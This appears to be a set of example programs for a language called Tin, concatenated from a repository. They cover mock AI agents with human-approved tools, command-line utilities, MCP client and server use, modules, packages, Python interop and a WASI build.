// To talk to Claude, change `model: "mock"` to `model: "claude-opus-5-5"` and set
// ANTHROPIC_API_KEY.
type Mood = | Calm | Busy | Stuck
type Status = {
/// How the project feels right now
mood: Mood
/// One sentence on what to do next
next: string
}
/// List the open tasks.
tool fn tasks(): string[] => ["write the README", "add a second agent"]
/// Close a task for good. A person approves every call.
guarded tool fn close(task: string): string => "closed '{task}'"
agent Helper {
model: "mock"
system: "You help a developer keep track of a small project."
tools: [tasks, close]
on toolCall(name, input) => print(" -> {name} {input}")
}
fn main() {
print(Helper("what is in tasks?"))
// ask for a type and you get a real value back
let s: Status = Helper("one line of status, please: 'start with the README'")
print("mood: {s.mood}, next: {s.next}")
// run with --yes to approve, or answer the prompt
print(Helper("close 'write the README'"))
}
test "a tool fn is still a function" {
assertEq(tasks().len, 2)
}
test "the agent uses its tools" {
// the mock model calls the tool a prompt names, so this runs offline
assert(Helper("what is in tasks?").contains("README"), "Helper should list the tasks")
} tin run examples/learn/27-cli/tally.tin// Reads numbers, one per line, until a blank line. Then prints a small report.
fn main() {
var numbers: int[] = []
loop {
let line = input("number (blank to finish): ")
if line.trim() == "" { break }
match parseInt(line.trim()) {
Some(n) => numbers.push(n)
None => print(" '{line}' is not a number, skipped")
}
}
print()
print("count {str(numbers.len).padLeft(6, " ")}")
print("total {str(numbers.sum()).padLeft(6, " ")}")
} tin run examples/learn/27-cli/task-1.solution.tinfn main() {
var numbers: int[] = []
loop {
let line = input("number (blank to finish): ")
if line.trim() == "" { break }
match parseInt(line.trim()) {
Some(n) => numbers.push(n)
None => print(" '{line}' is not a number, skipped")
}
}
print()
if numbers.len == 0 {
print("no numbers")
} else {
let avg = float(int(float(numbers.sum()) / float(numbers.len) * 10.0)) / 10.0 // one decimal
print("count {numbers.len}")
print("average {avg}")
print("largest {numbers.sortBy((a, b) => a > b)[0]}")
}
} tin run examples/learn/27-cli/task-2.solution.tin// A to-do list driven by commands: add <text>, done <number>, list, quit.
fn main() {
var todos: string[] = []
loop {
let line = input("> ").trim()
if line == "quit" || line == "" { break }
if line.startsWith("add ") {
todos.push(line.slice(4, line.len))
} else if line.startsWith("done ") {
match parseInt(line.slice(5, line.len)) {
Some(n) if n >= 1 && n <= todos.len => {
print("done: {todos[n - 1]}")
var rest: string[] = []
for i, t in todos { if i != n - 1 { rest.push(t) } }
todos = rest
}
_ => print("no such item")
}
} else if line == "list" {
for i, t in todos { print("{i + 1}. {t}") }
} else {
print("commands: add <text>, done <number>, list, quit")
}
}
} tin run examples/learn/28-browser/shop.tin/// Look up the price of an item, in cents.
tool fn price(item: string): int => if item == "tin cup" { 450 } else { 999 }
/// Charge the customer. A person approves every call.
guarded tool fn charge(cents: int): string => "charged {cents} cents"
agent Till {
model: "mock"
tools: [price, charge]
on toolCall(name, input) => print(" {name} {input}")
}
fn main() {
let name = input("your name: ")
print("hello, {name}")
print(Till("price 'tin cup'"))
print(Till("charge 450"))
} tin run examples/mcp/client.tin// A Tin program using an MCP server's tools as typed functions.
//
// tin run examples/mcp/client.tin
//
// `import mcp "command"` starts the server (any MCP stdio server: this one is a tiny
// test server next to the file) and checks each extern against the tool list before
// main runs. Results are checked against the declared types, like every extern.
import mcp "node ../../tests/fixtures/fake-mcp.mjs" {
extern fn add(a: int, b: int): int
extern fn weather(city: string): Weather
extern fn fail(): Result<string, string>
}
type Weather = { city: string, tempC: float, sky: string }
fn main() {
print(add(2, 40))
let w = weather("Oslo")
print("{w.city}: {w.tempC}°C, {w.sky}")
match fail() {
Ok(text) => print("ok: {text}"),
Err(e) => print("the tool failed: {e}"),
}
} tin run examples/mcp/units.tin// A Tin program as an MCP server: its tool fns become MCP tools, with schemas from the types.
//
// tin mcp examples/mcp/units.tin
//
// Add it to any MCP client (Claude Desktop, Claude Code, Cursor, ...) as a stdio server:
// { "command": "tin", "args": ["mcp", "/path/to/units.tin"] }
/// A temperature in one unit, converted to the others.
type Temperatures = {
celsius: float,
fahrenheit: float,
kelvin: float,
}
/// Convert a temperature. `unit` is "C", "F" or "K".
tool fn convert(
/// the temperature to convert
value: float,
/// its unit: "C", "F" or "K"
unit: string,
): Result<Temperatures, string> {
let c = match unit {
"C" => value,
"F" => (value - 32.0) * 5.0 / 9.0,
"K" => value - 273.15,
_ => return Err("unknown unit '{unit}': use C, F or K"),
}
if c < -273.15 {
return Err("{value}{unit} is below absolute zero")
}
Ok(Temperatures { celsius: c, fahrenheit: c * 9.0 / 5.0 + 32.0, kelvin: c + 273.15 })
}
/// How many seconds are in a number of minutes, hours or days.
tool fn seconds(amount: int, unit: string): int {
match unit {
"min" => amount * 60,
"h" => amount * 3600,
"d" => amount * 86400,
_ => amount,
}
} tin run examples/modules/kinematics.tin// A second file: everything declared here is visible to the files that import it.
type Joint = { name: string, angle: float, limit: float }
/// The joints that are past their limit.
fn overLimit(joints: Joint[]): string[] {
var out: string[] = []
for j in joints {
if abs(j.angle) > j.limit { out.push(j.name) }
}
out
} tin run examples/modules/main.tin// A program in two files. `import "./kinematics.tin"` brings in its types and
// functions; all files share one namespace, as if they were one file.
//
// tin run examples/modules/main.tin
import "./kinematics.tin"
fn main() {
let arm = [
Joint { name: "shoulder", angle: 1.2, limit: 1.6 },
Joint { name: "elbow", angle: -2.4, limit: 2.1 },
]
print("over the limit: {overLimit(arm)}")
} tin run examples/namespaces/arm.tin// Imported with `import "./arm.tin" as arm`: everything here is arm.name to the importer.
// Inside this file, the names are used as they are.
let REACH = 0.55
type Joint = { name: string, angle: float, limit: float }
fn Joint.over(j: Joint): bool => abs(j.angle) > j.limit
/// The joints that are past their limit.
fn overLimit(joints: Joint[]): string[] => joints.filter(j => j.over()).map(j => j.name)
/// Can the arm reach a point this far away, in metres?
tool fn canReach(distance: float): bool => distance <= REACH
agent Planner {
model: "mock"
tools: [canReach]
} tin run examples/namespaces/base.tin// Imported with `import "./base.tin" as base`. It also has a Joint and an overLimit:
// in their own namespaces the two files cannot clash.
type Joint = { name: string, turns: int }
fn overLimit(joints: Joint[]): string[] => joints.filter(j => j.turns > 3).map(j => j.name) tin run examples/namespaces/main.tin// Namespaced modules: `import "./file.tin" as name` puts the file's types, functions,
// constants and agents under `name.`, so two files may use the same names.
//
// tin run examples/namespaces/main.tin
import "./arm.tin" as arm
import "./base.tin" as base
fn main() {
let joints = [
arm.Joint { name: "shoulder", angle: 1.2, limit: 1.6 },
arm.Joint { name: "elbow", angle: -2.4, limit: 2.1 },
]
print("arm over the limit: {arm.overLimit(joints)}")
print("elbow over: {joints[1].over()}")
let wheels: base.Joint[] = [base.Joint { name: "left", turns: 5 }, base.Joint { name: "right", turns: 1 }]
print("base over the limit: {base.overLimit(wheels)}")
print("reach is {arm.REACH} m")
// the model sees the tool as arm_canReach: tool names have no dots
print(arm.Planner("canReach 0.4"))
} tin run examples/packages/app/main.tin// A program that uses the geometry package from ../geometry (see tin.toml).
import "geometry"
import "geometry/vec"
fn main() {
let wrist = vec.Vec { x: 0.3, y: 0.4 }
print(wrist.len())
print(wrist.plus(vec.Vec { x: 0.0, y: 0.1 }))
print(vec.reach(wrist, 0.25))
print(geometry.toRadians(90.0))
} tin run examples/packages/geometry/lib.tin// geometry: small 2D helpers for robot arms. Import it with `import "geometry"`,
// or one file with `import "geometry/vec"`.
/// The package version, for logs.
let VERSION = "0.1.0"
/// Degrees to radians: `toRadians(180.0)` is π.
fn toRadians(deg: float): float => deg * 3.141592653589793 / 180.0 tin run examples/packages/geometry/vec.tin// Vectors in the plane.
/// A 2D vector, in meters.
type Vec = {
/// Across, positive to the right.
x: float,
/// Up, positive away from the floor.
y: float,
}
/// How a point relates to an arm's reach.
type Reach = Inside | Edge | Outside(float)
/// The length of `v`: `Vec { x: 3.0, y: 4.0 }.len()` is 5.0.
fn Vec.len(v: Vec): float => sqrt(v.x * v.x + v.y * v.y)
/// `v` and `w` added component by component.
fn Vec.plus(v: Vec, w: Vec): Vec => Vec { x: v.x + w.x, y: v.y + w.y }
/// Where `p` is for an arm that reaches `limit` meters. **Edge** means within 1 cm.
fn reach(p: Vec, limit: float): Reach {
let d = p.len() - limit
if abs(d) < 0.01 { Edge } else if d < 0.0 { Inside } else { Outside(d) }
} tin run examples/py/stats.tin// Calling Python from Tin: `import py "module"` names a module (a .py file next to this
// one, or anything installed), and each `extern fn` in the block is a function in it.
//
// tin run examples/py/stats.tin
//
// Arguments go by name, values cross as plain data, and what comes back is checked
// against the declared type. A Python exception becomes Err(...) for an extern that
// returns Result, and stops the program otherwise.
import py "stats" {
extern fn summarize(values: float[]): Summary
extern fn parse_csv_row(line: string): string[]
extern fn must_be_positive(n: int): Result<int, string>
}
import py "math" {
extern fn gcd(a: int, b: int): int
}
type Summary = { mean: float, median: float, stdev: float }
fn main() {
let s = summarize([2.0, 4.0, 4.0, 4.0, 5.0, 5.0, 7.0, 9.0])
print("mean {s.mean}, median {s.median}, stdev {s.stdev.fixed(3)}")
print(parse_csv_row("robot,\"arm, left\",42"))
match must_be_positive(-3) {
Ok(n) => print(n),
Err(e) => print("python said: {e}"),
}
print(gcd(84, 36))
} tin run examples/wasi/stats.tin// A command-line tool with no JavaScript in it: build it for WASI, run it with wasmtime.
//
// tin build examples/wasi/stats.tin --target wasi -o stats.wasm
// printf '3.5\n4\n10.25\n' | wasmtime run --env UNIT=kg stats.wasm
//
// It reads numbers from standard input until an empty line or the end of input,
// then prints a summary. `tin run examples/wasi/stats.tin` prints the same.
fn main() {
let unit = env("UNIT")
var values: float[] = []
var line = input("")
while line != "" {
match parseFloat(line) {
Some(v) => values.push(v),
None => print("skipping '{line}': not a number"),
}
line = input("")
}
if values.len == 0 {
print("no numbers")
return
}
var total = 0.0
var low = values[0]
var high = values[0]
for v in values {
total = total + v
if v < low { low = v }
if v > high { high = v }
}
let mean = total / float(values.len)
print("{values.len} values, mean {mean.fixed(2)}{unit}, min {low}{unit}, max {high}{unit}")
}